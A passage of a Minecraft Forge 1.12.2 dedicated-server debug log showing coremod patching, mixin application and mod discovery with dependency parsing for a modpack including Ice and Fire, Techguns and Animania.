[14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.util.text.TextComponentTranslation. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.util.math.BlockPos. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.tileentity.CommandBlockBaseLogic. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.item.ItemStack. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/network/NetHandlerPlayServer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_147347_a(Lnet/minecraft/network/play/client/CPacketPlayer;)V [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/network/NetHandlerPlayServer to metadata cache [14:27:51] [main/DEBUG] [mixin]: Prepared 6 mixins in 0.365 sec (60.8ms avg) (0ms load, 196ms transform, 0ms plugin) [14:27:51] [main/DEBUG] [mixin]: Mixing MixinClientNotif$MixinWorld from mixins.malisiscore.core.json into net.minecraft.world.World [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/clientnotif/ClientNotificationManager to metadata cache [14:27:51] [main/DEBUG] [mixin]: Mixing MixinChunkCollision$MixinWorld from mixins.malisiscore.core.json into net.minecraft.world.World [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/Point to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/apache/commons/lang3/tuple/Pair to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/io/Serializable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/lang/Comparable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/util/Map$Entry to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/chunkcollision/ChunkCollision to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/BlockPos to metadata cache [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:preTransform:230]: Transforming Class [net.minecraft.block.Block], Method [getExtendedState] [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:finishTransform:242]: Transforming net.minecraft.block.Block Finished. [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/block/Block to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/spongepowered/asm/mixin/injection/callback/CallbackInfo to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/Vec3d to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/RayTraceResult to metadata cache [14:27:51] [main/DEBUG] [mixin]: Mixing MixinClientNotif$MixinWorldServer from mixins.malisiscore.core.json into net.minecraft.world.WorldServer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/player/EntityPlayer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_184808_cD()V [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_71000_j(DDD)V [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onAddFlown(Lnet/minecraft/entity/player/EntityPlayer;DDD)V [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_70047_e()F [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_174820_d(ILnet/minecraft/item/ItemStack;)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onReplaceItemSlotCheck(Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;)Z [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.EntityLivingBase. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.Entity. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/EntityLivingBase [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_110146_f(FF)F [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onUpdateBodyRotation(Lnet/minecraft/entity/EntityLivingBase;F)V [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.nbt.NBTTagList. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.player.EntityPlayerMP. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/Entity [14:27:51] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.server.MinecraftServer} [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:preTransform:230]: Transforming Class [net.minecraft.block.Block], Method [getExtendedState] [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:finishTransform:242]: Transforming net.minecraft.block.Block Finished. [14:27:55] [main/DEBUG] [mixin]: Mixing MixinChunkCollision$MixinItemBlock from mixins.malisiscore.core.json into net.minecraft.item.ItemBlock [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/Item to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraftforge/registries/IForgeRegistryEntry$Impl to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumActionResult to metadata cache [14:27:55] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/player/EntityPlayer [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_184808_cD()V [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_71000_j(DDD)V [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onAddFlown(Lnet/minecraft/entity/player/EntityPlayer;DDD)V [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_70047_e()F [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_174820_d(ILnet/minecraft/item/ItemStack;)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onReplaceItemSlotCheck(Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;)Z [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/entity/player/EntityPlayer to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumHand to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumFacing to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/block/state/IBlockState to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/ItemStack to metadata cache [14:27:56] [main/DEBUG] [FML]: Creating vanilla freeze snapshot [14:27:56] [main/DEBUG] [FML]: Vanilla freeze snapshot created [14:27:57] [Server thread/INFO] [net.minecraft.server.dedicated.DedicatedServer]: Starting minecraft server version 1.12.2 [14:27:57] [Server thread/INFO] [FML]: MinecraftForge v14.23.5.2847 Initialized [14:27:57] [Server thread/INFO] [FML]: Starts to replace vanilla recipe ingredients with ore ingredients. [14:27:58] [Server thread/INFO] [FML]: Invalid recipe found with multiple oredict ingredients in the same ingredient... [14:27:58] [Server thread/INFO] [FML]: Replaced 1227 ore ingredients [14:27:58] [Server thread/DEBUG] [FML]: File /aternos/server/config/injectedDependencies.json not found. No dependencies injected [14:27:58] [Server thread/DEBUG] [FML]: Building injected Mod Containers [net.minecraftforge.fml.common.FMLContainer, net.minecraftforge.common.ForgeModContainer, techguns.core.TechgunsCore] [14:27:58] [Server thread/DEBUG] [FML]: Attempting to load mods contained in the minecraft jar file and associated classes [14:27:58] [Server thread/DEBUG] [FML]: Found a minecraft related file at /aternos/server/forge.jar, examining for mod candidates [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/iceandfire-1.8.3.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/wings-1.1.6-1.12.2.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Minecraft jar mods loaded successfully [14:27:58] [Server thread/INFO] [FML]: Searching /aternos/server/./mods for mods [14:27:58] [Server thread/DEBUG] [FML]: Adding animania-1.12.2-1.7.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding wings-1.1.6-1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SereneSeasons-1.12.2-1.2.18-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding jei_1.12.2-4.15.0.292.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding BackTools-1.12.2-7.0.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding DragonMounts2-1.12.2-1.6.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding CTM-MC1.12.2-1.0.1.30.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding bookworm-1.12.2-2.3.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding zawa-1.12.2-1.7.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding ExtraGems-1.12.2-(v.1.2.8).jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding iceandfire-1.8.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding creature_whisperer_1.0.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding ultimate_unicorn_mod-1.12.2-1.5.16.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding Instant Massive Structures Mod 1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding landmanager-1.12.2-1.4.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding claimitapi-1.12.2-1.2.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding iChunUtil-1.12.2-7.2.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding claimit-1.12.2-1.2.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding techguns-1.12.2-2.0.2.0_pre3.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding spartanfire-0.07.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding horse_colors-1.12.2-1.0.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding torohealth-1.12.2-11.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding JustEnoughResources-1.12.2-0.9.2.60.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SpartanWeaponry-1.12.2-beta-1.3.8.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding mowziesmobs-1.5.4.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SpartanShields-1.12.2-1.5.4.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding malisiscore-1.12.2-6.5.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding malisisdoors-1.12.2-7.3.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding llibrary-1.7.19-1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding colorchat-1.12.1-2.0.43-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding k4lib-1.12.1-2.1.81-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding TeamUp-1.1.3-1.12.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding betteranimalsplus-1.12.2-8.0.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file animania-1.12.2-1.7.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file BackTools-1.12.2-7.0.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file betteranimalsplus-1.12.2-8.0.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file bookworm-1.12.2-2.3.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file colorchat-1.12.1-2.0.43-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file creature_whisperer_1.0.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file CTM-MC1.12.2-1.0.1.30.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file DragonMounts2-1.12.2-1.6.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file ExtraGems-1.12.2-(v.1.2.8).jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file horse_colors-1.12.2-1.0.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file iceandfire-1.8.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file iChunUtil-1.12.2-7.2.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file Instant Massive Structures Mod 1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file jei_1.12.2-4.15.0.292.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file k4lib-1.12.1-2.1.81-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file landmanager-1.12.2-1.4.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file malisiscore-1.12.2-6.5.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file malisisdoors-1.12.2-7.3.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file mowziesmobs-1.5.4.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file spartanfire-0.07.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SpartanShields-1.12.2-1.5.4.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file TeamUp-1.1.3-1.12.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file torohealth-1.12.2-11.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file wings-1.1.6-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file zawa-1.12.2-1.7.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file claimitapi-1.12.2-1.2.0.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file claimit-1.12.2-1.2.0.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping already parsed coremod or tweaker llibrary-core-1.0.11-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Found a candidate zip or jar file llibrary-1.7.19-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Examining file forge.jar for potential mods [14:27:58] [Server thread/DEBUG] [FML]: The mod container forge.jar appears to be missing an mcmod.info file [14:27:58] [Server thread/DEBUG] [FML]: Examining file animania-1.12.2-1.7.3.jar for potential mods [14:27:58] [Server thread/TRACE] [FML]: Located mcmod.info file in file animania-1.12.2-1.7.3.jar [14:27:58] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.animania.Animania) - loading [14:27:58] [Server thread/TRACE] [FML]: Parsed dependency info for animania: Requirements: [craftstudioapi, forge@[14.23.5.2779,)] After:[craftstudioapi, cofhcore, harvestcraft, natura, botania, biomesoplenty, twilightforest, aroma1997sdimension, openterraingenerator, forge@[14.23.5.2779,)] Before:[thermalexpansion] [14:27:59] [Server thread/DEBUG] [FML]: Examining file BackTools-1.12.2-7.0.1.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file BackTools-1.12.2-7.0.1.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.ichun.mods.backtools.common.BackTools) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod backtools it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod me.ichun.mods.backtools.common.BackTools, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file betteranimalsplus-1.12.2-8.0.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file betteranimalsplus-1.12.2-8.0.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.betteranimalsplus.BetterAnimalsPlusMod) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for betteranimalsplus: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file bookworm-1.12.2-2.3.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file bookworm-1.12.2-2.3.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.soggymustache.bookworm.BookwormMain) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for bookworm: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file colorchat-1.12.1-2.0.43-universal.jar for potential mods [14:27:59] [Server thread/DEBUG] [FML]: The mod container colorchat-1.12.1-2.0.43-universal.jar appears to be missing an mcmod.info file [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (k4unl.minecraft.colorchat.ColorChat) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for colorchat: Requirements: [k4lib] After:[k4lib] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.leviathanstudio.craftstudio.CraftStudioApi) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for craftstudioapi: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file creature_whisperer_1.0.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file creature_whisperer_1.0.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (cw.CWMain) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for cw: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file CTM-MC1.12.2-1.0.1.30.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file CTM-MC1.12.2-1.0.1.30.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (team.chisel.ctm.CTM) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod ctm it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod team.chisel.ctm.CTM, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file DragonMounts2-1.12.2-1.6.3.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file DragonMounts2-1.12.2-1.6.3.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.TheRPGAdventurer.ROTD.DragonMounts) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for dragonmounts: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file ExtraGems-1.12.2-(v.1.2.8).jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file ExtraGems-1.12.2-(v.1.2.8).jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (xxrexraptorxx.extragems.main.ExtraGems) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for extragems: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file horse_colors-1.12.2-1.0.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file horse_colors-1.12.2-1.0.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (felinoid.horse_colors.HorseColors) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for horse_colors: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file iceandfire-1.8.3.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file iceandfire-1.8.3.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.github.alexthe666.iceandfire.IceAndFire) - loading [14:27:59] [Server thread/TRACE] [FML]: Using mcmod dependency info for iceandfire: [llibrary, forge] [llibrary, forge] [] [14:27:59] [Server thread/DEBUG] [FML]: Examining file iChunUtil-1.12.2-7.2.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file iChunUtil-1.12.2-7.2.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.ichun.mods.ichunutil.common.iChunUtil) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for ichunutil: Requirements: [forge@[14.23.5.2781,99999.24.0.0)] After:[forge@[14.23.5.2781,99999.24.0.0)] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file Instant Massive Structures Mod 1.12.2.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file Instant Massive Structures Mod 1.12.2.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (modid.imsm.core.IMSM) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for imsm: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file jei_1.12.2-4.15.0.292.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file jei_1.12.2-4.15.0.292.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (mezz.jei.JustEnoughItems) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for jei: Requirements: [forge@[14.23.5.2816,)] After:[forge@[14.23.5.2816,)] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file JustEnoughResources-1.12.2-0.9.2.60.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (jeresources.JEResources) - loading [14:27:59] [Server thread/INFO] [FML]: Disabling mod jeresources it is client side only. [14:27:59] [Server thread/DEBUG] [FML]: Skipping mod jeresources.JEResources, container opted to not load. [14:27:59] [Server thread/DEBUG] [FML]: Examining file k4lib-1.12.1-2.1.81-universal.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file k4lib-1.12.1-2.1.81-universal.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (k4unl.minecraft.k4lib.K4Lib) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for k4lib: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file landmanager-1.12.2-1.4.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file landmanager-1.12.2-1.4.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (brightspark.landmanager.LandManager) - loading [14:27:59] [Server thread/TRACE] [FML]: Using mcmod dependency info for landmanager: [] [] [] [14:27:59] [Server thread/DEBUG] [FML]: Examining file malisiscore-1.12.2-6.5.1.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file malisiscore-1.12.2-6.5.1.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.malisis.core.MalisisCore) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for malisiscore: Requirements: [] After:[] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file malisisdoors-1.12.2-7.3.0.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file malisisdoors-1.12.2-7.3.0.jar [14:27:59] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.malisis.doors.MalisisDoors) - loading [14:27:59] [Server thread/TRACE] [FML]: Parsed dependency info for malisisdoors: Requirements: [malisiscore] After:[malisiscore] Before:[] [14:27:59] [Server thread/DEBUG] [FML]: Examining file mowziesmobs-1.5.4.jar for potential mods [14:27:59] [Server thread/TRACE] [FML]: Located mcmod.info file in file mowziesmobs-1.5.4.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.bobmowzie.mowziesmobs.MowziesMobs) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mowziesmobs: Requirements: [llibrary@[1.7.9,)] After:[llibrary@[1.7.9,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SereneSeasons-1.12.2-1.2.18-universal.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SereneSeasons-1.12.2-1.2.18-universal.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (sereneseasons.core.SereneSeasons) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for sereneseasons: Requirements: [forge@[14.23.5.2768,)] After:[forge@[14.23.5.2768,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file spartanfire-0.07.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file spartanfire-0.07.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.chaosbuffalo.spartanfire.SpartanFire) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanfire: Requirements: [iceandfire, spartanweaponry@[beta 1.3.0,), llibrary@[1.7.19,)] After:[iceandfire, spartanweaponry@[beta 1.3.0,), llibrary@[1.7.19,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SpartanShields-1.12.2-1.5.4.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SpartanShields-1.12.2-1.5.4.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.oblivioussp.spartanshields.ModSpartanShields) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanshields: Requirements: [] After:[redstoneflux, enderio, 